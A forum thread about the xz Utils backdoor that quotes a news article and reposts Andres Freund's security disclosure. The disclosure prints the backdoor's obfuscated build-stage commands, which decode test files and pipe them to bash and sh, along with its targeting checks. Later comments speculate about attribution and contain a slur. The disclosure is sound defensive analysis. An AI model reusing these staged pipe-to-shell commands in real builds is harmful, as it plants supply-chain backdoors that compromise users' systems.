Crime Backdoor found in widely used Linux utility breaks encrypted SSH connections - Malicious code planted in xz Utils has been circulating for more than a month.

  • 🏰 The Fediverse is up. If you know, you know.
  • Want to keep track of this thread?
    Accounts can bookmark posts, watch threads for updates, and jump back to where you stopped reading.
    Create account
Article (Archive)

Researchers have found a malicious backdoor in a compression tool that made its way into widely used Linux distributions, including those from Red Hat and Debian.

The compression utility, known as xz Utils, introduced the malicious code in versions 5.6.0 and 5.6.1, according to Andres Freund, the developer who discovered it. There are no known reports of those versions being incorporated into any production releases for major Linux distributions, but both Red Hat and Debian reported that recently published beta releases used at least one of the backdoored versions—specifically, in Fedora 40 and Fedora Rawhide and Debian testing, unstable and experimental distributions. A stable release of Arch Linux is also affected. That distribution, however, isn't used in production systems.

Because the backdoor was discovered before the malicious versions of xz Utils were added to production versions of Linux, “it's not really affecting anyone in the real world,” Will Dormann, a senior vulnerability analyst at security firm Analygence, said in an online interview. “BUT that's only because it was discovered early due to bad actor sloppiness. Had it not been discovered, it would have been catastrophic to the world.”

Several people, including two Ars readers, reported that the multiple apps included in the HomeBrew package manager for macOS rely on the backdoored 5.6.1 version of xz Utils. HomeBrew has now rolled back the utility to version 5.4.6. Maintainers have more details available here.

Breaking SSH authentication​


The first signs of the backdoor were introduced in a February 23 update that added obfuscated code, officials from Red Hat said in an email. An update the following day included a malicious install script that injected itself into functions used by sshd, the binary file that makes SSH work. The malicious code has resided only in the archived releases—known as tarballs—which are released upstream. So-called GIT code available in repositories aren’t affected, although they do contain second-stage artifacts allowing the injection during the build time. In the event the obfuscated code introduced on February 23 is present, the artifacts in the GIT version allow the backdoor to operate.

The malicious changes were submitted by JiaT75, one of the two main xz Utils developers with years of contributions to the project.

“Given the activity over several weeks, the committer is either directly involved or there was some quite severe compromise of their system,” an official with distributor OpenWall wrote in an advisory. “Unfortunately the latter looks like the less likely explanation, given they communicated on various lists about the ‘fixes’” provided in recent updates. Those updates and fixes can be found here, here, here, and here.

On Thursday, someone using the developer's name took to a developer site for Ubuntu to ask that the backdoored version 5.6.1 be incorporated into production versions because it fixed bugs that caused a tool known as Valgrind to malfunction.


“This could break build scripts and test pipelines that expect specific output from Valgrind in order to pass,” the person warned, from an account that was created the same day.

One of maintainers for Fedora said Friday that the same developer approached them in recent weeks to ask that Fedora 40, a beta release, incorporate one of the backdoored utility versions.

“We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added),” the Ubuntu maintainer said.

He has been part of the xz project for two years, adding all sorts of binary test files, and with this level of sophistication, we would be suspicious of even older versions of xz until proven otherwise.

Maintainers for xz Utils didn’t immediately respond to emails asking questions.

The malicious versions, researchers said, intentionally interfere with authentication performed by SSH, a commonly used protocol for connecting remotely to systems. SSH provides robust encryption to ensure that only authorized parties connect to a remote system. The backdoor is designed to allow a malicious actor to break the authentication and, from there, gain unauthorized access to the entire system. The backdoor works by injecting code during a key phase of the login process.

“I have not yet analyzed precisely what is being checked for in the injected code, to allow unauthorized access,” Freund wrote. “Since this is running in a pre-authentication context, it seems likely to allow some form of access or other form of remote code execution.”

In some cases, the backdoor has been unable to work as intended. The build environment on Fedora 40, for example, contains incompatibilities that prevent the injection from correctly occurring. Fedora 40 has now reverted to the 5.4.x versions of xz Utils.

Xz Utils is available for most if not all Linux distributions, but not all of them include it by default. Anyone using Linux should check with their distributor immediately to determine if their system is affected. Freund provided a script for detecting if an SSH system is vulnerable.
 
For completeness I will also post the original security writeup. It is technical but will give you a good idea as to how detailed this attack is, and how the guy figured out (sheer coincidence).
Link (Archive)

Date: Fri, 29 Mar 2024 08:51:26 -0700
From: Andres Freund <andres@...razel.de>
To: oss-security@...ts.openwall.com
Subject: backdoor in upstream xz/liblzma leading to ssh server compromise

Hi,

After observing a few odd symptoms around liblzma (part of the xz package) on
Debian sid installations over the last weeks (logins with ssh taking a lot of
CPU, valgrind errors) I figured out the answer:

The upstream xz repository and the xz tarballs have been backdoored.

At first I thought this was a compromise of debian's package, but it turns out
to be upstream.


== Compromised Release Tarball ==

One portion of the backdoor is *solely in the distributed tarballs*. For
easier reference, here's a link to debian's import of the tarball, but it is
also present in the tarballs for 5.6.0 and 5.6.1:

https://salsa.debian.org/debian/xz-...stable/m4/build-to-host.m4?ref_type=heads#L63

That line is *not* in the upstream source of build-to-host, nor is
build-to-host used by xz in git. However, it is present in the tarballs
released upstream, except for the "source code" links, which I think github
generates directly from the repository contents:

https://github.com/tukaani-project/xz/releases/tag/v5.6.0
https://github.com/tukaani-project/xz/releases/tag/v5.6.1


This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.


This script is executed and, if some preconditions match, modifies
$builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1


which ends up as
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Leaving out the "| bash" that produces

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

After de-obfuscation this leads to the attached injected.txt.


== Compromised Repository ==

The files containing the bulk of the exploit are in an obfuscated form in
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma
committed upstream. They were initially added in
https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.


Subsequently the injected code (more about that below) caused valgrind errors
and crashes in some configurations, due the stack layout differing from what
the backdoor was expecting. These issues were attempted to be worked around
in 5.6.1:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:
https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly
involved or there was some quite severe compromise of their
system. Unfortunately the latter looks like the less likely explanation, given
they communicated on various lists about the "fixes" mentioned above.


Florian Weimer first extracted the injected code in isolation, also attached,
liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!


== Affected Systems ==

The attached de-obfuscated script is invoked first after configure, where it
decides whether to modify the build process to inject the code.

These conditions include targeting only x86-64 linux:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

Building with gcc and the gnu linker
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0

Running as part of a debian or RPM package build:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

Particularly the latter is likely aimed at making it harder to reproduce the
issue for investigators.


Due to the working of the injected code (see below), it is likely the backdoor
can only work on glibc based systems.


Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
distributions, and where they have, mostly in pre-release versions.


== Observing Impact on openssh server ==

With the backdoored liblzma installed, logins via ssh become a lot slower.

time ssh nonexistant@...alhost

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real 0m0.299s
user 0m0.202s
sys 0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real 0m0.807s
user 0m0.202s
sys 0m0.006s


openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd
does depend on lzma.


Initially starting sshd outside of systemd did not show the slowdown, despite
the backdoor briefly getting invoked. This appears to be part of some
countermeasures to make analysis harder.

Observed requirements for the exploit:
a) TERM environment variable is not set
b) argv[0] needs to be /usr/sbin/sshd
c) LD_DEBUG, LD_PROFILE are not set
d) LANG needs to be set
e) Some debugging environments, like rr, appear to be detected. Plain gdb
appears to be detected in some situations, but not others

To reproduce outside of systemd, the server can be started with a clear
environment, setting only the required variable:

env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D


In fact, openssh does not need to be started as a server to observe the
slowdown:

slow:
env -i LANG=C /usr/sbin/sshd -h

(about 0.5s on my older system)


fast:
env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
...

(about 0.01s on the same system)


It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
are obviously lots of servers linking to libsystemd.


== Analyzing the injected code ==

I am *not* a security researcher, nor a reverse engineer. There's lots of
stuff I have not analyzed and most of what I observed is purely from
observation rather than exhaustively analyzing the backdoor code.

To analyze I primarily used "perf record -e intel_pt//ub" to observe where
execution diverges between the backdoor being active and not. Then also gdb,
setting breakpoints before the divergence.


The backdoor initially intercepts execution by replacing the ifunc resolvers
crc32_resolve(), crc64_resolve() with different code, which calls
_get_cpuid(), injected into the code (which previously would just be static
inline functions). In xz 5.6.1 the backdoor was further obfuscated, removing
symbol names.

These functions get resolved during startup, because sshd is built with
-Wl,-z,now, leading to all symbols being resolved early. If started with
LD_BIND_NOT=1 the backdoor does not appear to work.


Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
'completed' variable is 0 and increments it, returning the normal cpuid result
(via a new _cpuid()). It gets to be more interesting during crc64_resolve().

In the second invocation crc64_resolve() appears to find various information,
like data from the dynamic linker, program arguments and environment. Then it
perform various environment checks, including those above. There are other
checks I have not fully traced.

If the above decides to continue, the code appears to be parsing the symbol
tables in memory. This is the quite slow step that made me look into the issue.


Notably liblzma's symbols are resolved before many of the other libraries,
including the symbols in the main sshd binary. This is important because
symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.


To be able to resolve symbols in libraries that have not yet loaded, the
backdoor installs an audit hook into the dynamic linker, which can be observed
with gdb using
watch _rtld_global_ro._dl_naudit
It looks like the audit hook is only installed for the main binary.

That hook gets called, from _dl_audit_symbind, for numerous symbols in the
main binary. It appears to wait for "RSA_public_decrypt@....plt" to be
resolved. When called for that symbol, the backdoor changes the value of
RSA_public_decrypt@....plt to point to its own code. It does not do this via
the audit hook mechanism, but outside of it.

For reasons I do not yet understand, it does change sym.st_value *and* the
return value of from the audit hook to a different value, which leads
_dl_audit_symbind() to do nothing - why change anything at all then?

After that the audit hook is uninstalled again.

It is possible to change the got.plt contents at this stage because it has not
(and can't yet) been remapped to be read-only.


I suspect there might be further changes performed at this stage.


== Impact on sshd ==

The prior section explains that RSA_public_decrypt@....plt was redirected to
point into the backdoor code. The trace I was analyzing indeed shows that
during a pubkey login the exploit code is invoked:

sshd 1736357 [010] 714318.734008: 1 branches:uH: 5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) => 5555555612d0 RSA_public_decrypt@...+0x0 (/usr/sbin/sshd)

The backdoor then calls back into libcrypto, presumably to perform normal authentication

sshd 1736357 [010] 714318.734009: 1 branches:uH: 7ffff7c137cd [unknown] (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0 RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)


I have not yet analyzed precisely what is being checked for in the injected
code, to allow unauthorized access. Since this is running in a
pre-authentication context, it seems likely to allow some form of access or
other form of remote code execution.

I'd upgrade any potentially vulnerable system ASAP.


== Bug reports ==

Given the apparent upstream involvement I have not reported an upstream
bug. As I initially thought it was a debian specific issue, I sent a more
preliminary report to security@...ian.org. Subsequently I reported the issue
to distros@. CISA was notified by a distribution.

Red Hat assigned this issue CVE-2024-3094.


== Detecting if installation is vulnerable ==

Vegard Nossum wrote a script to detect if it's likely that the ssh binary on a
system is vulnerable, attached here. Thanks!


Greetings,

Andres Freund
 
Only relevant part; they found bad shit, we should be more interested in wanting to know who did it.
We will likely learn nothing about this person because they're almost certainly a spook: they spent two years pretending to be a normal contributor.
They submitted patches for a chinese CPU architecture and their computer was in a chinese timezone.

It's almost certainly the chinese, mainly because of how sloppy the exploit was (something was obviously wrong with the program), but it might be the NSA or the FSB trying to trick people with red herrings.
 
Because the backdoor was discovered before the malicious versions of xz Utils were added to production versions of Linux, “it's not really affecting anyone in the real world,” Will Dormann, a senior vulnerability analyst at security firm Analygence, said in an online interview. “BUT that's only because it was discovered early due to bad actor sloppiness. Had it not been discovered, it would have been catastrophic to the world.”
So this was never distributed to end-user distros like Ubuntu?
 
We will likely learn nothing about this person because they're almost certainly a spook: they spent two years pretending to be a normal contributor.
They submitted patches for a chinese CPU architecture and their computer was in a chinese timezone.

It's almost certainly the chinese, mainly because of how sloppy the exploit was (something was obviously wrong with the program), but it might be the NSA or the FSB trying to trick people with red herrings.
now i am reminded of a talk by some guy about how while proprietary software is somewhat vulnerable to being subverted by state actors, open source software is even more vulnerable than that.
unlike corporate software, which is generally only really vulnerable to agents of the state in which the company operates, open source is a potential target for every state and non-state actor on the planet. everybody could run an op to poz the code, and it is impossible to police effectively.
 
I was reading a comments chain on github about this and it got pretty heated. some guy was calling furries feds and there was a tranny.
 
I was reading a comments chain on github about this and it got pretty heated. some guy was calling furries feds and there was a tranny.
Yeah, that's not really unexpected when it comes to tech stuff, especially OSS.
 
https://archive.is/VSm83

The comments on this commit are wild in their stupidity.

To sum up what happened, the perpetrator created binary blobs to obfuscate their malicious code and got it accepted without any auditing whatsoever. There's an MLP avatar splitting hairs about the ethics in using blob code in an open source project and crying about being strawmanned in his dumbass replies. There's almost more people complaining about the MLP avatar being mistreated in the comments of this page than there is real discussion on this catastrophic supply chain attack.
 
There's almost more people complaining about the MLP avatar being mistreated in the comments of this page than there is real discussion on this catastrophic supply chain attack.
Look for anyone not complaining about mistreating the brony to be slowly shoved out of the project space.
 
It's almost certainly the chinese, mainly because of how sloppy the exploit was (something was obviously wrong with the program), but it might be the NSA or the FSB trying to trick people with red herrings.
I wouldn't oversell the "sloppiness" part. Getting an exploit into a code base that is open and anyone can look at is not a trivial problem to solve. Even the person who found this (a Microsoft engineer optimising some mostly unrelated code, fwiw) described his finding it as accidental. There was nothing "wrong" with the library per se so much as its operation had an impact on performance. Who knows maybe that could have been mitigated but maybe the mitigation would have looked too odd and increased the chance of discovery. I don't know, I'm just saying I wouldn't call the exploit itself sloppy.

The sloppiness is in the project structure that allows anonymous people with no recognized career or real world identity to get into such a position. There seems to have been at least one obvious sock-puppet account which was campaigning online for this guy (if indeed it is one person and not a group) to be appointed merge approver status which they ended up just being given. I put my comments about this all in the Linux thread, though.

So this was never distributed to end-user distros like Ubuntu?
Other reply is correct but I'd point out that there are lots of people who choose to use Debian unstable just because it's more up to date and despite the name is generally good enough. You shouldn't be using it for your servers but it's everywhere in terms of people's home computers. The exploit also made it into MacOS, technically speaking, via Brew, which has now rolled back versions. It also made it into Kali Linux which might not be an end-user distro for normal human beings (don't worry, I'm saying it as a compliment) but is an end-user system. Kali has also rolled back.

But generally consider this a lucky escape. Well, "lucky" in the sense of that Microsoft dude really cares about the performance of Postgres on Azure and really dug into the slow down.

now i am reminded of a talk by some guy about how while proprietary software is somewhat vulnerable to being subverted by state actors, open source software is even more vulnerable than that.
unlike corporate software, which is generally only really vulnerable to agents of the state in which the company operates, open source is a potential target for every state and non-state actor on the planet. everybody could run an op to poz the code, and it is impossible to police effectively.
Yeah, the whole "Thousand Eyes" sales-pitch that used to be everywhere with Open Source never scaled. What it does mean is that State actors and big companies can't easily stick a deliberate backdoor in. And that's very valuable. But there's a real problem on the OSS side with anybody being able to contribute and anybody being able to search for vulnerabilities. All large code bases have them. It's foolish to pretend that not being able to see the source code doesn't hinder bad actors from finding them and I have never been convinced by the sales pitch that Open Source means they're found and patched more quickly. I don't know what can be done to address that which isn't already being done, but one thing that could be addressed and this might kick it off, is the way anonymous contributors can get into the position to do this. The contributor that committed this code is just a name and an email address. And there is at least one obvious sock-puppet that was calling for the user to be given maintainer status to "speed things along" and probably others. All just email addresses floating around. For better or worse, if someone is working on proprietary software for a company, they're a real person with a profile, a bank account, an address, etc.

Not just a GitHub account...

1711792974707.png
 
Preliminary analysis from the aforementioned post shows that the backdoor is designed to exploit openssh when linked against libsystemd (which depends on lzma) to compromise the SSH services. Artix and Arch don't link openssh to liblzma and thus this attack vector is not possible.

Based on the same analysis, the execution of openssh under systemd is a prerequisite for the backdoor to activate and given the additional distance of Artix to systemd (aren't we glad?), the exploit shouldn't affect any running Artix system.
Good thing I use openrc and not systemd. Suck it.

I am updating my seedbox running debian right now though.
 
Back
Top Bottom